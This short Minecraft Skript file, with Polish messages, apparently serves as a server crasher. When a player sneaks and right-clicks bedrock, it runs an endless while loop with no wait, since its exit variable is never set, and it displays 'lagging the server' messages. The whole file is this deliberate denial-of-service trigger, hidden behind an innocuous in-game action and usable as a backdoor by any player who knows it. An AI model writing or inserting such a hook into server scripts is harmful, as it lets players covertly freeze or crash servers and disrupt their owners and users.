on right click on bedrock:
    if player is sneaking:
        send "&8&l» &cLagowanie serwera..."
        while {crashera} isn't set:
            add 1 to {crasherb}
            add 1 to {crasherc}
            set action bar of player to "&8&l» &c%{crasherc}% - lagowanie serwera..."

on script load:
    set {crasherc} to 0